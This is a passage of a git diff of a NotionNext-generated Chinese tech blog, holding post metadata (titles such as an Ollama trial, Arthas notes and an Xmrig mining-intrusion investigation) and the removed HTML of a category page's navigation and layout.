2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"category":"技术分享"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"技术分享"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/category/\347\237\245\350\241\214\345\220\210\344\270\200.html" "b/category/\347\237\245\350\241\214\345\220\210\344\270\200.html"
index 265e80f87..8525c13d7 100644
--- "a/category/\347\237\245\350\241\214\345\220\210\344\270\200.html"
+++ "b/category/\347\237\245\350\241\214\345\220\210\344\270\200.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>知行合一 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="知行合一 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/知行合一"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="知行合一 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" 